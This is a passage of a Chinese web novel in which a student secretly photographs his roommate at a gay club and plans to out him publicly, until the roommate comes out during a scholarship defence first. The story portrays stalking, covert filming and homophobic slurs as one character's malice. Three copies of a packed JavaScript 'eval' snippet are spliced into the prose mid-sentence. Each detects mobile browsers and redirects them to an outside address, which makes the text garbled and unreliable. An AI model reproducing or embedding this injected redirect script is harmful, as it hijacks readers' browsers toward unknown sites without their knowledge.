戚思鸣大手一挥,不以为然:“别瞎担心,夜色天天接待那么多人,怎么就那么巧有人记得高少爷的相貌?估计他们也不会想到有人会借会员资格混进来。我爸跟他们家一直有商业往来,要不是这层关系人家都不乐意借我。” 看他一副“放宽心什么事儿都没有”的表情,姜津也稍稍安稳些,朝小冯说:“到时候我们手机联系,发生什么事情跟我讲。” 小冯“啪”的一下子立正:“保证完成任务!” 什么都交代好了,戚思鸣又开口:“你们打算啥时候行动?” “当然是越快越好,”姜津一点也等不了,拖一天掌握魏黎的把柄于他而言就是多一天的煎熬,“干脆这周日。” “那么着急?”戚思鸣摸摸下巴,“我这周日有事。你一个人盯着没关系吧?” 姜津眼神闪烁,不知道心里在想些什么,还是抬头向他保证:“嗯,没关系的。” 19. 行动 周日一早,戚思鸣还给小冯借来一套西装,光看面料就知道不便宜,更别提手感了。小冯摸了又摸,爱不释手,穿上以后兴致勃勃拍了好几张照片。 戚思鸣脸上鄙夷:“高级一点的地方都有着装要求,你穿的得体一点,总不能穿个t恤短裤人字拖去吧?少弯腰驼背,精神气也得起来。” 小冯乐滋滋的:“好说好说。”他突然想到什么,皱皱眉头忧心忡忡,开口:“我穿那么帅,人家不会看上我了吧?” 姜津在一旁给他捋着领子,心想夜色里比你帅的数不胜数,你没帅到魏黎那种程度就不要说大话了。 戚思鸣讥笑一声:“里面不是明星就是信托宝贝,谁看上你你跟人家走呗?卖卖屁股下辈子不用愁了。” 小冯吓得吐吐舌头:“得了吧,我可是直男。如果不是你们找上我,我一辈子都不会去那种地方。给我再多钱也不能跟男的睡觉,怪腌臜人的。” “一分钱难倒英雄汉,等你吃不起饭的时候有个天降猛男开着布加迪威龙,一路撒钱到你面前,看你改不改口。” 姜津听了戚思鸣这话,手上的动作慢下来。他想起罗禹跟他说过魏黎家世凄惨,还是他收留打工的。魏黎在夜色的“人设”估计就是罗禹说的那样,几个常客估计暗中打听过,也了解,不知道有没有人拿钱砸他,还做着拯救别人人生的救世主美梦。 按魏黎那张脸,说不定给他豪掷千金的人都有。不过也说不好,魏黎接不接受还是另一回事呢。 “说起来我还不知道你们让我拍的那个人长什么样子呢?叫啥,魏黎是吧?” 姜津掏出手机,打开相册,随便一划,全是魏黎的照片,无一例外角度奇怪,都是偷拍。 小冯凑过来:“嚯!” 戚思鸣见状也凑过来:“嚯!” 姜津挑了几张还算清晰的正脸照发给小冯,默默把手机收了回去。 戚思鸣脸上的表情一下子古怪起来,看姜津的眼神都有点不对劲:“我靠,我看你就差在人家洗澡的时候偷拍了。” 姜津咳嗽一声,“就是随手一拍,作为室友平时相处的时间长,攒着攒着就多了,只是想找到他的破绽。” 他已然忘记第一次面对魏黎偷偷摁下拍摄键的时候是什么心情,第一张也不知道追溯到哪一天。也许是某个无聊至极的没课下午,也许是某个班上的活动,而等他已经回过神来的时候,手机里已经多出百八十张形色不一的魏黎了。 他在上课,他在讲ppt,他在接受电视台采访,他在辅导办垂眼数着材料,他在宿舍托腮浅眠,他在奶茶店,他在烘焙房…… 正好姜津没有他在夜色工作时候的照片,这次顺带补充一下。当然,如果不是条件不允许,他还是想亲手去拍。 晚上七八点的时候,高明的人带着小冯混进了夜色就走了。姜津提前下了车,目送着那辆商务车驶入地下停车场。他在门口站了一会,收到了小冯成功进去的消息,抬脚便往酒吧一条街那个小门的对面走。 小冯甫一进去,心中只剩震惊,急匆匆给姜津发消息:“哇塞这地方太豪华,太高级了,大厅里竟然还有个五米高的喷泉,里面撒的小石子好像是纯金的!我能捞一把吗?” 附图是一张小冯和那豪华喷泉的一张自拍。 姜津徘徊了半天,才找到了十几米处的一个隐蔽的长椅,这里能隐约看见夜色那个小门口。等小冯出来的时候自己也能接应一下。 他提醒他:“只拍魏黎,别到处乱拍,显得你没怎么见过世面,容易暴露身份” 过了一大会儿,小冯才回应他:“知道啦,不用你说。” 姜津叹了一口气。 收起手机,小冯继续四处打量,今晚正好有个什么小宴会。他装作漫不经心地拿起路过侍应生托盘上的香槟,浅抿一口,下一秒“啧”了一声,面容扭曲成一团,下意识吐槽:“有点酸。” 察觉到对面侍应生还在,他急忙咳嗽一声,装模作样点评一顿:“你们这儿的酒真一般。”然后快速离开现场。 小冯找了个角落,发消息给姜津:“你还真别说,里面人的颜值确实高,随便碰到个人都洋气得不得了,全是小白脸。” “不过我怎么没见到魏黎在哪呢?” 姜津:“耐心一点,不要太过急躁打草惊蛇。” 小冯将夜色粗粗逛了逛,最下层是存酒的地方,他以前听都没听说过的国外国内名酒全存在这。往上是吃饭招待的包厢,再往上就是套房。 套房的人少,小冯半天都找不到魏黎,也不好直接拉个人问他在哪。路过一间的时候突然听见里面有人争吵,小冯吃瓜之心熊熊燃烧,悄无声息地贴过去扒着门缝听着里面的动静。 奈何隔音确实很好,絮絮叨叨听不到大概,正当他抓耳挠腮之际,忽然听见身后传来一声平和的语气: “先生,需要什么帮助吗?” 小冯瞬间一个激灵,扭头一看,真是踏破铁鞋无觅处,正是魏黎。 魏黎跟姜津给他的照片上的人相差无几,甚至本人比那破手机拍的更加好看。整个人宽肩窄腰玉树临风,脸上无可挑剔,光是站在那就非常赏心悦目。 小冯有点理解为什么人家高端场所招聘都要找颜值高的了。那些名贵雕塑、喷泉再怎么鲜活都是死物,只有活生生的人一颦一笑才给人巨大冲击。 “啊,也没有。”他假装咳嗽几声,借机调整了一下领带上的隐藏摄像头,“我……我就随便走走,你忙你的吧。” 魏黎的目光落到他的身份手环上,脸上的笑容僵了几秒,接着又掀起眼皮盯着小冯的脸:“高先生……?” 前不久,那个矮胖男人还耍着酒疯想扑他怀里,今天又变成了另一张毫无相干的脸。 “啊,是我,怎么了?”小冯抬起头看他,面上尽量装出一副趾高气昂的表情。 “没事。”魏黎顿了顿,一个标准但不死板的露齿笑,“如果有需要随时叫我。” 小冯目送魏黎走远,看见对方转过拐角之后,抬脚跟上去。下楼梯,进了宴会厅,魏黎的相貌放在所有员工里也是鹤立鸡群的存在。他一出现,几个宾客就朝他走过来。 等他们都靠近,小冯再次调整了自己的领带,确保万无一失。不过他发现,那几个客人对魏黎确实比较热情,小冯摸了摸下巴,心想难道男同都喜欢魏黎那样的? 自己看起来跟他长得也不相上下嘛!怎么没人跟他搭讪? 魏黎一晚上始终挂着得体的笑容,相处时间过长就找个机会溜走,看起来丝毫不把哪位贵客放在心上,但理由合理,也没有人能把他怎么样。 小冯站了一晚上,魏黎走到哪他在溜溜达达跟到哪。约莫着拍的差不多,他给姜津发消息汇报,正当他拿出手机敲敲打打的时候,不远处的魏黎悄无声息地回头看了他一眼。 面无表情,脸上没有任何波动,仿佛鹰鹫捕猎,居高临下地一扫而过。 他转身就走。 等到小冯再次抬头的时候,人已经不在原地了。不过照片已经收集齐全,跟丢了也无所谓。他大大咧咧地从小门那里出去。 “真惊险,打了个照面,幸好我机灵,没让他发现什么端倪。”小冯一屁股坐在姜津旁边,换上了一副表情,紧皱眉头喘着粗气,有点劫后余生的意思。他等着摄像头里的照片导出来,“不过我都拍到了,我办事儿你放心!” 说实话惊险谈不上,不过话里话外还可以表明一下自己的能力卓越,谁不添油加醋一番?说不定下次还有这种便宜活能找找他。 然后他将照片尽数发给姜津。 姜津一张张划过去,他还是第一次看见魏黎这种打扮,穿着合身的西装在宾客间游走,丰神俊朗,笑语晏晏,一身贵气。他不像是来打工混口饭的侍应生,像是来谈正经生意的二代。 其中不乏有几个人对他过于亲密,虽然下一秒被他不留痕迹地躲开。姜津看了好大一会,还是截存下来躲之前的照片,给无关人士打了马赛克。小冯不当狗仔真是可惜,光看这断章取义的几张,很难不察觉出其中暗流涌动的“暧昧”。 倘若他把这些照片放在论坛里,再用文字添油加醋一番的话,估计会掀起轩然大波。传播速度最快的就是八卦,何况这种隐秘的同性丑闻。 魏黎头上高悬的达摩克利斯之剑,绳索的末梢就在他手中。 夏日的凉夜,姜津却感觉血液里慢慢沸腾,无比兴奋,以至于攥着手机的手都在颤抖。他咬紧牙关,但病态的独占欲还是从他的心脏密密匝匝地泛出来。 或许,事情可以向另一个方向发展。比如,他越过戚思鸣,自己发布这些照片。 只要他一松手,摁一下发送键,完美的、众星捧月的、万人喜爱的魏黎就会身败名裂,人人唾弃。大家都会戳他脊梁骨。以后再也不会看到有人拥护魏黎,替他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849016|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找乱七八糟的借口。 大家也都会记得,是这个发贴人戳穿了魏黎的假面,带领他们接近真相。同时,也是他毁掉了他,费劲千辛万苦,用凿子一点一点破开魏黎的伪装。这一刻,他已经期待不知多少个日夜了。 只能是他,只能由他。 此时戚思鸣打来电话,询问情况:“你们进展的怎么样?” “出了点意外。”姜津听见自己的声音异常冷静,毫无波澜。 夜风吹进凉亭,全世界只留下自己的心跳声音,他一张一张划着照片,目眦欲裂,用气声说: “我们什么都没有拍到。” —— 过了几天,一个暴雨的下午,魏黎跟陈玉打完篮球,顺便拐进了南体育场的便利店。 陈玉一边进门一边吵吵嚷嚷:“也就是宿舍附近那个体育场漏雨,要不然才不会跑那么远来打球。”他侧过一个正在将饮料装柜的便利店小哥,转头问魏黎,“你喝什么……哎?人呢?” 刚刚还在身边的魏黎不知道什么没了踪影。陈玉丈二和尚摸不着脑袋,自己拿了两瓶水,来到收银台招呼人结账。 小冯“哎”了一声,拍拍手上的灰尘,小跑过来。 屋里的风扇吹着凉气,一缕风从门缝中逃窜出来,拂过刚刚迅速退出又倚墙侧立的男人的脸,吹散了他的额发。 他躲在屋檐下,额发散落,垂眉低头,只露出了冷硬的下半张脸,往常笑着的嘴角绷得很紧,咬紧牙关。左手青筋虬结,指尖发白,握着伞柄都咯吱作响。 前不久,他在夜色中打了个照面的高明高少爷,现在在这个便利店里搬水。 而这个店,他的好室友,姜津也在兼职。 所谓的“高明”和姜津认识,与此同时,他还记得当天晚上他走到哪,这个人就跟到哪,频繁整理他的领带。 思绪瞬间如同火车轨道一般严丝合缝地比对上了。下一秒,魏黎抬脚冲进暴雨,步履飞快,不一会儿便到了宿舍楼底下。 大门门口有两个认识的同学,魏黎第一次见了熟人视而不见,快速侧过身。其中一个人想冲他打招呼,被他神情吓退,走了好远才敢怔怔开口:“……刚刚魏黎是怎么了?从没见过他脸色那么恐怖。” 另一个人小心翼翼地说:“估计心情不好,我们还是快走吧。” 魏黎三步并作两步,打开宿舍门,“砰”的一声关上,里面空无一人。陈玉刚刚被他甩掉,姜津估计在图书馆,时不时还害羞地瞄一眼邻桌的逢绪。 他瞅了一眼姜津的桌子,扔了伞,想拉开抽屉,发现已经被锁住。 他找了一张细长的小铁片,伸进去,轻车熟路地一扭。“吧嗒”一声,老旧的锁应声而开。 魏黎向来笑眯眯的眼睛如今目眦欲裂,周围的空气似乎都要凝固让人呼吸都不畅。他舔了舔后槽牙,从抽屉伸出摸到了那个小笔记本。 他直接翻到最后几页,与上次偷看相比,那里的厚度不同寻常。 只见上面粘满了专门洗出来的照片,有他单人的,有多人的,也有借位来看相对亲密的,其中一张甚至连嘴唇都要靠上。 时间不久,看高度和距离,是有人把摄像头藏在领带的位置,朝他偷拍。至于是谁,根据身高,他刚才也都看到了。 他再往后面一翻,翻到了最后一页。64开的小本被写到满页,有人不知疲倦,愤恨到力透纸背,摸起来指腹到能感觉到坑坑洼洼。 只是八个大字,却写了好多好多遍: “肮脏下流的死男同!” “原来你早回宿舍了,我说你走的那么快干什么?一转身就不见人了,我一路上还留意着你是不是踩进下水道了……”陈玉刚推开宿舍门,却见魏黎没有开灯,坐在房中独自出神。 宿舍里昏暗一片,唯一的光源是窗外将落未落、隔着厚厚雨层的太阳。 听见动静,魏黎像机械一般转头,又像是被什么附了身,面皮狰狞扭曲宛如厉鬼,刚从地狱里爬上来,正要把他拖下去啃食殆尽。 陈玉瞬间感觉自己被扼住了喉咙,血液倒流,他颤颤巍巍打开灯的那一刻,魏黎表情又恢复如初,仿佛刚才只是他光线不足产生的幻觉。 “没什么。”魏黎嘴角微勾,面色如常,朝他浅浅一笑,“突然想起之前遗忘好久的事情。” 嗓音却透着一股诡异的凉意。 下一秒,太阳落山,黑夜来袭。 20. 糖果 姜津忽然感觉有些莫名的寒意,浑身起鸡皮疙瘩,像被眼镜王蛇盯住一样动弹不得。他蜷缩在位子上,反刍剩余的温度,约摸着是图书馆的空调开的太凉了。 外面大雨倾盆,间或几声突兀的雷鸣。这个阅览室静悄悄的,逢绪就坐在离他几米、稍稍抬头就能看见的位置,专心写着作业。 她经常在这个阅览室,姜津有一天来这,等脑子反应过来的时候,已经放书占据了一个小小角落。两人从未有过交谈,他也不敢上去搭话。 姜津和逢绪碰见的地方不是在这儿就是爱心社的公益活动,除此之外没有第三个地方。逢绪做事情的时候也不太爱跟人闲聊,他也不好讲一些有的没的惹人心烦,让本来就笨嘴拙舌的他更举步维艰。 其实他也说不好自己现在对她是什么感情,严格来讲逢绪是进入S大第一个愿意主动搭理他的女孩子,何况人家还那么优秀。 能有人乐意静静地听他讲话,不打断也不嘲讽,这二十年里掰着手指也能数过来,他心里真的很感激。 不过好像魏黎也算一个。姜津脑子里闪过这句话,瞬间有些反胃,摇摇头,不去想了。 他可不想跟表里不一的死男同扯上什么褒义的关系。 姜津出去想打杯热水,正好看见逢绪也拿着杯子起身。他表面不动声色,但心跳逐渐加快,默默跟在她后面走进茶水间。 逢绪一口一口抿着杯里的热茶,眺望窗外的大雨滂沱,余光看见姜津,于是冲他点点头。也许是学习学累了,逢绪并没有说话的意思。 姜津走到她旁边,想开个话头但不知道说些什么好,他向来不是魏黎这种舌灿莲花的人。正踌躇不已间,突然想到兜里还有两块柠檬糖果,于是都掏出来递给逢绪,结结巴巴地说:“要、要吃糖吗?” 突如其来的举动让逢绪有些诧异,但抿了抿唇,摇摇头婉拒他:“不用,谢谢你。” 姜津只好讪讪地又揣了回去,两只手插兜也不是,垂着也不是,不知道怎么放才好。 奶茶是社交的工具,糖果也是。小学的时候他看同学分发奶糖总是很眼馋,可是不知道怎么回事,每次轮到他就正好没有了。 还有一次是在上体育课,带了一袋糖的小孩被众人围攻,姜津见状犹豫了一会儿,咽了咽口水,还是向前小跑几步,混在其他同学中小心伸手。结果那个小孩被围得烦了,大叫说谁不动我就先给谁。 周围人充耳不闻继续往里挤,只有姜津立马乖乖不动了,在原地站好。可是一直等到体育课下课,那个人都没有把糖给他。 人家早就发完了,分给了使劲往里挤的人。 后来他才知道,人家正是享受被人簇拥的过程,分给你糖代表想跟你交朋友,至于无关紧要的、摸不透别人真话假话的人嘛……自然不用管的。反正他也不会反抗,压根不会有人在意。 逢绪也是经常一个人待着,姜津想把糖分给她,就像分给之前的自己一样,结果忘了还有人压根不吃糖的。 就在此时茶水间里又进来两个同学,似乎在在聊什么评选的事情。 “你听说了没有,校长奖学金的答辩日期定下来了,就在下周一。” “我听说今年不太一样,好像领导们非常重视,把奖金规格提高了。” “全校本科生就那么几个名额,各个学院的卷王不得打得头破血流。” “神仙打架,我们凡人在底下凑凑热闹得了。” 作为评选人得在礼堂进行现场答辩,各学院的评选老师在台下打分。由于历史原因,这个校长奖学金之前就已经是S大最高规格的奖学金,本科生名额极少,研究生才多一点。 姜津像是终于找到了一个话头,牢牢把握住不让它溜走,头脑一热朝逢绪说:“你参加校长奖学金的评选吗?” 姜津觉得,逢绪那么优秀,评选成功只是手到擒来的事儿。 逢绪摇摇头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14849017|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我今年已经得过一次省政府奖了,不能兼得。” 话音刚落,她瞥了姜津一眼,将他没话找话的样子尽收眼底,还是恻隐之心发动,开口补充:“人外有人天外有天。各学院选出的评选人都很优秀。我看魏黎也参加,昨天在社团办公室的时候发现他在写答辩稿子。” 姜津一愣,嘴下意识附和:“他平时确实挺努力的,祝他成功。” 两个人又扯天扯地聊了短暂一会儿,姜津明显有点心不在焉。等到逢绪休息完回座位的时候,他这才回过神来。 魏黎,参加校长奖学金答辩? S大卷王辈出,奖学金这种事情向来跟姜津扯不上什么关系,平时自然没怎么关注。魏黎参加也是意料之外情理之中。以他的平时表现,奖学金十拿九稳的,像之前的学年一样。 但是,现在不一样了,自己手里有一些不同寻常的东西。答辩整整一天,现场有学生旁听,结果将在S大官网门户张贴,这正是全校热门大事件。倘若他把一些不堪入目的照片放在校内论坛里,不知道会掀起什么样的光景。 台下同学议论纷纷,台上魏黎向来胜券在握游刃有余的表情不知道会变成什么样子,会矢口抵赖还是怒不可遏呢? 届时全校都会知道,经管学院选出来的校长奖学金评选者,魏黎,跟同性不清不楚。哪怕事后魏黎他再怎么狡辩,热度最高的时候已经过去,大家只会想到他是同性恋,毕业之前恐怕难以洗掉这个印象。 有一个默默无闻的正义之士,揭穿了魏黎的罪行。 一想到这,他的血液瞬间沸腾起来。 姜津觉得最近事情进展得有些出乎意料的顺利,成功找到了魏黎打工的隐秘地方,成功拍到了照片,现在又等到了最佳发布的时间。只要动动手指,洋洋洒洒一篇稿子,就能轻松地让魏黎身败名裂。 一声惊雷响彻云霄,余光照亮了他异常兴奋的半张脸。 真是天助他也! 21. 未遂 姜津回到宿舍,路过魏黎的位子,装作无意地看了一眼他的电脑,word文档满满当当,看起来就是明天奖学金评比的答辩稿。 整个宿舍只有这个电子屏幕发着幽幽蓝光,四下无人,姜津停在原地几秒,再次确认宿舍里并没有什么动静,然后缓缓上前,弯腰细细阅读。 魏黎的答辩稿中规中矩,详细写了他这大学期间的学业成绩、竞赛经历、社会实践和学生工作等等方面的成就。整页下去,满屏的成绩看得人眼花缭乱。普通学生哪怕做好其中一项也是需要耗费巨大精力的。即使是S大,能达到这种程度的学生也是少之又少。 虽然姜津熟悉魏黎在学校中的表现,但他的后槽牙难以抑制地泛出酸意。 他几乎想要把这篇答辩稿全部删掉,或者篡改一些数据,伪装成电脑出故障,让魏黎在关键的节点手忙脚乱。但同时,他心里也知道自己这样做根本没有意义。 魏黎恐怕早就把它熟记于心,哪怕评选老师们提问稿子上没有的内容,他也能引经据典出口成章。 门口突然传来脚步声,姜津吓得一激灵,立马站直身子,小臂却无意中触碰到了旁边的小收纳架。架子失去重心,顷刻之间,上面的小玩意儿乒乒乓乓洒了一地。 与此同时魏黎推门而入。 姜津站在宿舍中间,紧张尴尬到不知道怎么办才好。动过的鼠标,滑动过的电脑屏幕,一地狼藉的地面,怎么看都是他偷看人家答辩稿既遂又惨被抓包的场景。 他还是第一次偷偷摸摸正好被魏黎撞见。 姜津支支吾吾半天,不知道怎么狡辩和甩锅,反正打死不能承认自己刚刚就是在偷看。不料魏黎看他几眼,自己却突然先笑了:“刚才宿舍噼里啪啦的,我还以为是陈玉。” 这一笑把整个宿舍的紧张氛围打散不少。姜津下意识也扯扯嘴角,附和一下。 魏黎慢条斯理地捡拾地上的东西:“这个收纳架本来就坏了的,刚才是不是吓你一跳呀?” 姜津闷头跟他一起捡:“还、还好吧……” 他不清楚魏黎刚才的话是事实如此还是故意给他个台阶下,他也从未搞懂魏黎心里的真实想法。但似乎对方没有注意到他有偷看人家答辩稿的嫌疑。 或者是意识到了,并不想追究。 两人都蹲在地上,脑袋靠得极近,姜津甚至都闻到了魏黎洗发水的味道,清清凉凉的,里面应该是加了薄荷的成分。 魏黎说:“我早就想把这个架子换掉,今天它正好自己寿终正寝了。” 姜津听了这话,虽然还是很讨厌魏黎,但心里暗自松了一口气,胡乱地“嗯”了一声。他太会察言观色,见人说人话,见鬼说鬼话,第一时间安抚过失方的情绪,不会蛮不讲理。 他太适合讲体面话了。 “正好,明天就是奖学金答辩的日子,旧的不去新的不来。”魏黎顿了顿,转而稍稍抬头,冲姜津一笑,“你会祝我评选成功是吗?” 姜津不知道对方为什么突然提起奖学金的事情,就在这几天魏黎写着答辩稿的时候,他也在床帘里偷偷写着讨伐魏黎的檄文,立志让人臭名远扬。 他看向魏黎的眼睛,清澈得甚至显现出自己的倒影,像一汪清泉。 难道魏黎已经察觉出什么端倪吗? 不,绝不可能。 “当然,”姜津干巴巴地说,“祝你评选成功。” 答辩的当天,姜津早早就坐到礼堂的最后一排,看着台上调试设备的同学忙忙碌碌。 S大的礼堂是百年建筑,不知道见证了多少风雨兴衰,姜津胡思乱想着,今天说不定也能见证一些历史。 没过几分钟,逢绪也来了,看见姜津的时候点点头,算是打招呼。姜津一个激灵,按捺住自己的心情,朝她挥挥手,正想鼓足勇气让逢绪坐在他旁边的空位,可惜犹豫间还没来得及开口,第五排有几个女生招呼逢绪过来一起坐,估计是她的好朋友。 被别人捷足先登,姜津的话就这样卡在喉咙里,他垂下眼睛,有些空落落的。 他有时候也痛恨自己的性格。 答辩开始,姜津缩在后面有一搭没一搭地听着,撕着新长出来的倒刺。前几个评选人都是各学院的佼佼者,但佼佼者们放在一起又变成了中规中矩的优秀,倘若其他评选人也都这种水平的话,魏黎得奖简直易如反掌。 他可不想看到这样的场景。 很快,下一个就轮到魏黎了。 趁着等待空隙,姜津再一次打开校园论坛,看着自己草稿箱里的贴子。 洋洋洒洒三千字的檄文图文并茂,声嘶力竭,从他有一个朋友发现魏黎在“会所”兼职开始说起,话里话外直指这位S大校草性取向与众不同,进而有意无意地引导对方私生活混乱。 再加上小冯在夜色里拍的那些借位照片,这篇贴子的可信性大幅增加。 姜津还耍了个心眼,除了讲述魏黎在哪兼职的既定事实之外,关于他性取向等相关表述都是用的似是而非又模棱两可的话,全篇看下来全凭浏览者的臆测。魏黎真要追究,估计也告不起来,如果到时候他还有闲心去对付发贴人的话。 只要自己动动手指,点一下发布键,这所有的内容就会被公之于众。败坏校风校纪的魏黎,还能成功获奖吗? 随着时间一分一秒的过去,姜津感觉自己的灵魂在体内燃烧,他不断打开手机又重重关上,神情焦躁,只为了等待魏黎上场。 一个熟悉的身影从缓缓走出,在侧边演讲台后站定。魏黎跟其他评选人一样,穿得十分正式。熟悉又自信的笑容挂在嘴角,俯瞰一切。 当然,他得意不了多久了。 魏黎全程脱稿,ppt都摆不下他的荣誉,口若悬河滔滔不绝,听得台下几个老师频频点头。答辩到末尾,他讲到爱心公益方面的时候,姜津又一次打开论坛,指腹在发布键上蠢蠢欲动。 只要他摁下去,这些台下老师们的欣赏,同学们的艳羡将都会改变。 背景里魏黎中气十足的声音堪比噪音,姜津充耳不闻,手指缓缓下落,直到还有半厘米的差距。 终于,属于魏黎的达摩克利斯之剑就要落下了。 就在此时,他突然听到了台上的魏黎说了这样一句话: “……因为,我就是一名同性恋者。” 等等。 姜津猛地抬头,手指立马停住。 他刚才听到了什么? 姜津环视一周,周围同学的表情跟他相差无几,面面相觑,整个会场瞬间鸦雀无声,台上的ppt突然放了姜津从未看到过的公益活动图片,无一例外都是关爱性少数群体组织的。 姜津突然意识有什么东西在悄悄脱轨,有些人、有些事摆脱了他的控制!昨天的答辩稿里明明没有这一句话! 有一个恐怖又合理的念头泛出来,他目不转睛,目光死死咬住台上的人。 只见魏黎缓缓从发言台后走出,大步来到中间,直面会场所有人的目光,掷地有声地再次重申:“是的,我是性少数群体。课余时间,我不仅参加学校里组织的爱心活动,帮助山区贫苦、失学儿童,我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14849018|159258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 积极参与社会公益活动,帮助性少数群体重新接纳自我,同时也被家庭接纳。 “在今年一月,我与爱心社副社长商讨关爱校内性少数群体项目,但最终由于各种原因,未能顺利进行。在今年五月,我报名参加人文社科学院针对男性性少数群体的社会实践,在调研中,我主动申请入职知名度颇高的男同聚集会所,与调研对象沟通,采集到珍贵的一手信息……” 姜津一下子情绪激动起来,甚至身体都在微微发抖,目眦俱裂地盯着台上的人。 魏黎站在正中间侃侃而谈,所有人的目光汇聚过来,成为他独属的表演聚光灯。 他伸出双臂,看上去真情流露,感慨万千:“正如S大校训所讲,‘宽宥、开明、博学、自省’,性取向是人类自然多样性的一个重要组成部分,无关道德优劣,品行高低,当然也不是可以选择和扭转的行为。人与人之间的情感,没有高低贵贱,只分虚情和假意。驱散偏见,消除歧视,迫在眉睫……” 姜津的后槽牙都要被他咬碎,难以置信刚刚对方讲了些什么话。 听听,魏黎他在扯什么大旗?!说得多么冠冕堂皇,道貌岸然! 恶心至极! 他的手攥成拳头,在桌面下咯吱作响。 魏黎的身体无比舒展,神情却突然有些哀恸,眼睛里泪光闪烁,声音哽咽:“……我如今现在能坦言性少数群体身份,也得益于所有公益前辈的支持。无论今天我是否得到这笔奖学金,我都一定会将奖金数目的一半捐赠给爱心社,继续为学校、社会做出微不足道的贡献,薪火相传……” 最后,他深深地朝台下鞠了一躬。 台下鸦雀无声,掉了根针都能听得见。 三秒之后,全场掌声雷动,几乎要把礼堂的屋顶掀翻。 姜津看着手机里的檄文,瞬间感觉无比可笑。他熬了几个大夜,逐字逐句反复修改的文章现在没有任何利用价值。 他怎么也不会料到魏黎能当场出柜,打得他一个措手不及。哪怕他发布出来,同学们也会说,这是人家的社科项目,你拿来黑是什么意思? 黑料丑闻自己说和别人说,完全两码事。 更何况魏黎还美其名曰社会实践项目,想想就作呕! 自己煞费苦心找到他的破绽,就这样被轻飘飘地化解,心血付诸一炬。 掌声不绝于耳,前排的逢绪轻皱眉头,打开手机,给爱心社另外一位副社长发了消息,对方此时也在场。 “魏黎是跟你讲的关心性少数群体的项目吗?” 对方立马回复:“没有。” 过了几秒,一条消息又发来:“不是跟你讲的吗?” 逢绪看到内容,眼睛微眯。她转头越过目光灼灼、高声呼喊的同学们,看向最后一排的姜津。 他正低着头,额发散乱,遮住了他的半张脸,手臂绷直,似乎在膝盖上攥紧了拳头,与周围格格不入,不知道在想些什么。隔得太远,逢绪没有看到他的下嘴唇几乎要咬出血来,身体在微微发抖。 她转过身子,望向下了台似乎在擦拭眼泪的魏黎。魏黎说的那最后一句话值得品味,当然即使他没有说,校长奖学金的归属也已经没有异议了。倘若魏黎说得了奖学金才捐钱的话,反招人讨厌。 这笔钱对现在预算超额的爱心社来说,有点不一样的意思在里头。 她冷笑一声,伸出手,跟周围所有同学一样,手心相触,用力击掌,啪、啪、啪。 掌声混杂在久久未曾停息的礼堂中,像是为魏黎亲手落下的表演帷幕。 22. 打晕 所有人答辩结束,结果过几天会公布。但获奖者已经毫无悬念了。 散场的时候,逢绪好不容易越过人群走到姜津身边,人很多,她刚想说些什么,只见姜津依旧低着头,没有看见她,木讷地顺着人流走出礼堂。 只是顷刻之间,两人就被其他同学冲散。 周遭同学都在讨论魏黎,姜津打开论坛一看,果不其然,关于他在奖学金答辩现场自爆性取向的贴子已经飘在首页,短短时间已然有几百条回复。 基本上都是惊讶于他的勇敢,还有一小部分是“果不其然”。 姜津翻了一会儿,手指都感到麻木。他退出来,点进草稿箱,将那篇檄文一字一句地删掉了。 给姜津十个胆子和脸皮,他都不会做出出柜这种事情,魏黎就是一个彻头彻尾的疯子。 还满口仁义道德,虚伪至极。 魏黎当场出柜,俨然成了S大的热门新闻,甚至在网上还引起一点小轰动。有人截取他其中一段话,配上慷慨激昂的BGM,发到下沉平台上,收获了大几万的点赞。姜津在茶水间、在食堂、在操场,都能听见同学们在议论纷纷。 令姜津费解的还有一件事,就是陈玉、李哲和其他男同学,并没有因为性取向的事情远离魏黎。大家相处照常,没有人揪着这点不放。 似乎全世界只有姜津一个人对魏黎喜欢男人这件事耿耿于怀,不能原谅。 为什么他们都不大惊小怪的?为什么他们不反感、恶心、排斥男同呢? 又是这种熟悉的感觉,大家都光明磊落,品行无可挑剔。只有姜津一个人可悲地怨毒,黑水几乎要从心底泛滥出来。 这种远远看着别人簇拥魏黎的感觉,真的,太糟糕了。 公示获奖者名单的那天,一连来了好多人来他们宿舍祝贺,撺掇魏黎请客。姜津躲在床帘后,捏着手机的手都发白,在他们咋咋呼呼出门前的那一刻,魏黎突然喊了一声: “姜津。” 被喊到名字的人一愣,拉开床帘,露出一点缝隙,正好能看见他的一双黑不溜秋的眼睛。 魏黎冲他浅浅一笑:“你要不要一起出去吃饭?我请客。” 刚刚还吵闹的宿舍立马安静下来,一听到魏黎的话,众人面面相觑。 